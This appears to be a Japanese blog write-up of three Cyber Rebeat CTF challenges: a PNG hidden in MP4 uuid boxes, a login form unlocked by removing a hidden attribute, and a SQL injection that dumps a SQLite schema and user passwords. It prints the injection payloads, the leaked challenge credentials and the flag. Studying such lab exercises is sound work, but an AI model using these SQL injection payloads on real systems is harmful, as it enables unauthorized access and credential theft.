Stegano - Last 5 boxes¶
The FLAG is hiding at the last 5 boxes. https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4
けっこう時間かかった。。
mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい
mp4boxというツールで見てみる
<?xml version="1.0" encoding="UTF-8"?> <!--MP4Box dump trace--> <IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4"> <FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0"> <BrandEntry AlternateBrand="M4V "/> <BrandEntry AlternateBrand="M4A "/> 中略 </MovieBox> <MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107"> </MediaDataBox> <UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" > </UUIDBox> </IsoMediaFile>
なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい
見てみますか
あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ
きっとお尻にpngがくっついてるね!
しかし、これを切り出して表示したけど、真っ黒
おそらく、残りの4box分のヘッダ情報を取り除かなければ!
ファイルフォーマットを確認してみる
あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造
https://albel06.hatenablog.com/entry/2017/12/20/205103
こうなってて
aligned(8) class Box (unsigned int(32) box type, optional unsigned int(8)[16] extended_type) { unsigned int(32) size; unsigned int(32) type = boxtype; if (size == 1) { unsigned int(64) largesize; } else if (size == 0) { // box extends to end of file } if (boxtype == 'uuid') { unsigned int(8)[16] usertype = extended_type; } }
こうなってるらしい
ユーザー定義Box
Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。
どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる
あーはいはい、そういうことね完全に理解した
仕様通りや
00 00 04 00 : size 1024 byte 75 75 69 64 : type "uuid" 07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid
という訳でこれらを削除してpng画像完成!
Web - White page¶
http://hidden-field.cyberrebeat.adctf.online/index.php id:Hiro password:LittleGarden
ログインしたくてもできないページ
Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる
これをデベロッパーツールで削除すればログインできる
はい
Web - Uploader¶
Find the secret file. http://sqli.cyberrebeat.adctf.online/index.php id:guest pass:guest
なんかいろいろやっていると SQL Injection の脆弱性を見つけた
エラーメッセージからSQLiteだという事もわかった
File Name: にこれを入力
' OR 'A' = 'A' --
secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる
SQLiteとわかったので、テーブル情報を抜く
' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' --
Files CREATE TABLE "Files" ( `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name` TEXT NOT NULL, `publication_date` INTEGER NOT NULL, `upload_userid` TEXT ) Users CREATE TABLE `Users` ( `userid` TEXT NOT NULL, `password` TEXT NOT NULL ) sqlite_sequence CREATE TABLE sqlite_sequence(name,seq)
ふんふむ。こんなテーブルだね
Files
id | file_name | publication_date | upload_userid |
---|---|---|---|
? | ? | ? | ? |
Users
userid | password |
---|---|
? | ? |
じゃ、Usersテーブルからパスワード抜きましょ
' OR 'A' = 'A' union select userid,password,null,null from Users --
じゃ、harada seishin0129 でログインしましょう!
ほい、zipのパスワードゲット!
zip展開して、コレ
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}
« 前 1 2 3 4 5 6 ... 16 次 » (31-40/153)
他の形式にエクスポート: Atom